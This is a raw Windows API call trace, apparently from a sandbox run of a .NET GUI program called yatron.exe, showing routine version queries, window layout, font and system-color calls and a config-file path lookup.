[0084.196] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x2e5400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20
[0084.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2e5840) returned 1
[0084.197] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll"), fInfoLevelId=0x0, lpFileInformation=0x2e5920 | out: lpFileInformation=0x2e5920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d8f1ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92d8f1ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92db532f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9aa00)) returned 1
[0084.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2e5800) returned 1
[0084.198] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", lpdwHandle=0x2e59f8 | out: lpdwHandle=0x2e59f8) returned 0x72c
[0084.199] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", dwHandle=0x0, dwLen=0x72c, lpData=0x25bf4e8 | out: lpData=0x25bf4e8) returned 1
[0084.200] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2e5978, puLen=0x2e5970 | out: lplpBuffer=0x2e5978*=0x25bf878, puLen=0x2e5970) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf5e4, puLen=0x2e5910) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf638, puLen=0x2e5910) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf694, puLen=0x2e5910) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf6d0, puLen=0x2e5910) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf708, puLen=0x2e5910) returned 1
[0084.202] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf780, puLen=0x2e5910) returned 1
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf7bc, puLen=0x2e5910) returned 1
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf830, puLen=0x2e5910) returned 1
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf598, puLen=0x2e5910) returned 1
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x0, puLen=0x2e5910) returned 0
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x0, puLen=0x2e5910) returned 0
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x0, puLen=0x2e5910) returned 0
[0084.203] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2e58c8, puLen=0x2e58c0 | out: lplpBuffer=0x2e58c8*=0x25bf878, puLen=0x2e58c0) returned 1
[0084.203] VerLanguageNameW (in: wLang=0x0, szLang=0x2e55f0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
[0084.205] VerQueryValueW (in: pBlock=0x25bf4e8, lpSubBlock="\\", lplpBuffer=0x2e5918, puLen=0x2e5910 | out: lplpBuffer=0x2e5918*=0x25bf510, puLen=0x2e5910) returned 1
[0084.206] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.206] AdjustWindowRectEx (in: lpRect=0x2e5bb0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bb0) returned 1
[0084.222] GetDC (hWnd=0x0) returned 0x90109d4
[0084.222] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e59c8) returned 0x0
[0084.222] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e59c4) returned 0x0
[0084.222] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.222] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.222] GetSystemMetrics (nIndex=5) returned 1
[0084.222] GetSystemMetrics (nIndex=6) returned 1
[0084.240] GetDC (hWnd=0x0) returned 0x90109d4
[0084.240] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.240] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.240] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.240] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.240] GetSystemMetrics (nIndex=5) returned 1
[0084.240] GetSystemMetrics (nIndex=6) returned 1
[0084.241] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.241] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.262] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.263] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.276] GetDC (hWnd=0x0) returned 0x90109d4
[0084.276] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.276] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.276] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.277] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.277] GetSystemMetrics (nIndex=5) returned 1
[0084.277] GetSystemMetrics (nIndex=6) returned 1
[0084.277] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.277] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.288] GetDC (hWnd=0x0) returned 0x90109d4
[0084.288] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.288] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.289] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.289] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.289] GetSystemMetrics (nIndex=5) returned 1
[0084.289] GetSystemMetrics (nIndex=6) returned 1
[0084.289] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.289] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.292] GetDC (hWnd=0x0) returned 0x90109d4
[0084.292] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.292] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.292] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.292] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.292] GetSystemMetrics (nIndex=5) returned 1
[0084.293] GetSystemMetrics (nIndex=6) returned 1
[0084.293] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.293] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.301] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.301] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.304] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.304] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.307] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.307] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.312] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.312] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.315] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.315] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.320] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.320] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.324] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.324] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.337] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.339] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.345] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.345] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.347] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.347] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bd0) returned 1
[0084.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.358] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.363] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.363] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5c00) returned 1
[0084.369] GetDC (hWnd=0x0) returned 0x90109d4
[0084.369] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.369] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.369] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.370] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.370] GetSystemMetrics (nIndex=5) returned 1
[0084.370] GetSystemMetrics (nIndex=6) returned 1
[0084.370] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.370] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.377] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.377] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.378] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.378] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.380] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.380] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.381] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.381] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.382] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.394] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.395] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.396] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.396] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.397] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.399] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.399] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.402] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5bd0) returned 1
[0084.403] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.403] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5c00) returned 1
[0084.404] GetDC (hWnd=0x0) returned 0x90109d4
[0084.404] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.404] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.404] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.404] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.404] GetSystemMetrics (nIndex=5) returned 1
[0084.404] GetSystemMetrics (nIndex=6) returned 1
[0084.405] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.405] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.407] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.407] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5c00) returned 1
[0084.408] GetDC (hWnd=0x0) returned 0x90109d4
[0084.408] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5948) returned 0x0
[0084.408] GdipGetFontHeight (font=0x1c573a40, graphics=0x1c50d3c0, height=0x2e5944) returned 0x0
[0084.408] GdipDeleteGraphics (graphics=0x1c50d3c0) returned 0x0
[0084.409] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.409] GetSystemMetrics (nIndex=5) returned 1
[0084.409] GetSystemMetrics (nIndex=6) returned 1
[0084.409] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.409] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5bf0) returned 1
[0084.410] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.410] AdjustWindowRectEx (in: lpRect=0x2e5bf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5bf0) returned 1
[0084.411] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.411] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.412] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.413] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.413] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.414] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.414] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5c00) returned 1
[0084.415] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.415] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5c00) returned 1
[0084.416] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.416] AdjustWindowRectEx (in: lpRect=0x2e5c00, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5c00) returned 1
[0084.417] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.417] AdjustWindowRectEx (in: lpRect=0x2e5c10, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5c10) returned 1
[0084.419] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.419] AdjustWindowRectEx (in: lpRect=0x2e5bd0, dwStyle=0x56010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5bd0) returned 1
[0084.440] GetUserObjectInformationA (in: hObj=0x44, nIndex=1, pvInfo=0x25c8958, nLength=0xc, lpnLengthNeeded=0x2e59b0 | out: pvInfo=0x25c8958, lpnLengthNeeded=0x2e59b0) returned 1
[0084.445] SetConsoleCtrlHandler (HandlerRoutine=0x1b19148c, Add=1) returned 1
[0084.446] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0084.446] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0084.447] GetClassInfoW (in: hInstance=0x9d0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x25c8a18 | out: lpWndClass=0x25c8a18) returned 0
[0084.448] CoTaskMemAlloc (cb=0x58) returned 0x1ac17e90
[0084.448] RegisterClassW (lpWndClass=0x2e57c0) returned 0xc059
[0084.448] CoTaskMemFree (pv=0x1ac17e90)
[0084.448] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x50116
[0084.452] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x83, wParam=0x0, lParam=0x2e51e0) returned 0x0
[0084.452] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x1, wParam=0x0, lParam=0x2e50d0) returned 0x0
[0084.452] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0
[0084.452] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0
[0084.456] GetSysColor (nIndex=10) returned 0xb4b4b4
[0084.456] GetSysColor (nIndex=2) returned 0xd1b499
[0084.456] GetSysColor (nIndex=9) returned 0x0
[0084.456] GetSysColor (nIndex=12) returned 0xababab
[0084.456] GetSysColor (nIndex=15) returned 0xf0f0f0
[0084.456] GetSysColor (nIndex=20) returned 0xffffff
[0084.456] GetSysColor (nIndex=16) returned 0xa0a0a0
[0084.456] GetSysColor (nIndex=15) returned 0xf0f0f0
[0084.456] GetSysColor (nIndex=16) returned 0xa0a0a0
[0084.456] GetSysColor (nIndex=21) returned 0x696969
[0084.456] GetSysColor (nIndex=22) returned 0xe3e3e3
[0084.456] GetSysColor (nIndex=20) returned 0xffffff
[0084.456] GetSysColor (nIndex=18) returned 0x0
[0084.456] GetSysColor (nIndex=1) returned 0x0
[0084.456] GetSysColor (nIndex=27) returned 0xead1b9
[0084.456] GetSysColor (nIndex=28) returned 0xf2e4d7
[0084.456] GetSysColor (nIndex=17) returned 0x6d6d6d
[0084.456] GetSysColor (nIndex=13) returned 0xff9933
[0084.457] GetSysColor (nIndex=14) returned 0xffffff
[0084.457] GetSysColor (nIndex=26) returned 0xcc6600
[0084.457] GetSysColor (nIndex=11) returned 0xfcf7f4
[0084.457] GetSysColor (nIndex=3) returned 0xdbcdbf
[0084.457] GetSysColor (nIndex=19) returned 0x544e43
[0084.457] GetSysColor (nIndex=24) returned 0xe1ffff
[0084.457] GetSysColor (nIndex=23) returned 0x0
[0084.457] GetSysColor (nIndex=4) returned 0xf0f0f0
[0084.457] GetSysColor (nIndex=30) returned 0xf0f0f0
[0084.457] GetSysColor (nIndex=29) returned 0xff9933
[0084.457] GetSysColor (nIndex=7) returned 0x0
[0084.457] GetSysColor (nIndex=0) returned 0xc8c8c8
[0084.457] GetSysColor (nIndex=5) returned 0xffffff
[0084.457] GetSysColor (nIndex=6) returned 0x646464
[0084.457] GetSysColor (nIndex=8) returned 0x0
[0084.463] IsAppThemed () returned 0x1
[0084.463] GetThemeAppProperties () returned 0x3
[0084.463] GetThemeAppProperties () returned 0x3
[0084.464] OpenThemeData () returned 0x20002
[0084.531] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5b90) returned 0x0
[0084.532] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25c9648) returned 0x0
[0084.544] GdipGetFontSize (font=0x4a41a0, size=0x25c9650) returned 0x0
[0084.546] GetDC (hWnd=0x0) returned 0x90109d4
[0084.547] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5b08) returned 0x0
[0084.547] GdipGetFontHeight (font=0x4a41a0, graphics=0x1c5aef60, height=0x2e5b04) returned 0x0
[0084.547] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.547] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.550] GetDC (hWnd=0x0) returned 0x90109d4
[0084.550] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e59d8) returned 0x0
[0084.550] GdipGetFontHeight (font=0x4a41a0, graphics=0x1c5aef60, height=0x2e59d4) returned 0x0
[0084.550] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.550] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.550] GetSystemMetrics (nIndex=5) returned 1
[0084.550] GetSystemMetrics (nIndex=6) returned 1
[0084.550] GetSystemMetrics (nIndex=5) returned 1
[0084.550] GetSystemMetrics (nIndex=6) returned 1
[0084.551] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.551] AdjustWindowRectEx (in: lpRect=0x2e5a28, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5a28) returned 1
[0084.554] GetSystemMetrics (nIndex=5) returned 1
[0084.554] GetSystemMetrics (nIndex=6) returned 1
[0084.554] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.555] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.560] GetSystemMetrics (nIndex=5) returned 1
[0084.560] GetSystemMetrics (nIndex=6) returned 1
[0084.560] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.561] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.590] GdipCreateFontFamilyFromName (name="Tahoma", fontCollection=0x0, fontFamily=0x2e5bf0) returned 0x0
[0084.590] GdipCreateFont (fontFamily=0x1c4d9970, emSize=0x7fef04dcd25, style=0, unit=0x3, font=0x25c9d68) returned 0x0
[0084.590] GdipGetFontSize (font=0x1c50d720, size=0x25c9d70) returned 0x0
[0084.592] GetDC (hWnd=0x0) returned 0x90109d4
[0084.592] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e5ae8) returned 0x0
[0084.592] GdipGetFontHeight (font=0x1c50d720, graphics=0x1c5aef60, height=0x2e5ae4) returned 0x0
[0084.592] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.592] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.592] GetDC (hWnd=0x0) returned 0x90109d4
[0084.592] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2e59e8) returned 0x0
[0084.592] GdipGetFontHeight (font=0x1c50d720, graphics=0x1c5aef60, height=0x2e59e4) returned 0x0
[0084.592] GdipDeleteGraphics (graphics=0x1c5aef60) returned 0x0
[0084.593] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0084.593] GetSystemMetrics (nIndex=5) returned 1
[0084.593] GetSystemMetrics (nIndex=6) returned 1
[0084.593] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.594] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.595] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0084.595] AdjustWindowRectEx (in: lpRect=0x2e5b48, dwStyle=0x56212844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5b48) returned 1
[0084.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", nBufferLength=0x105, lpBuffer=0x2e5350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", lpFilePart=0x0) returned 0x37
[0084.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2e5810) returned 1
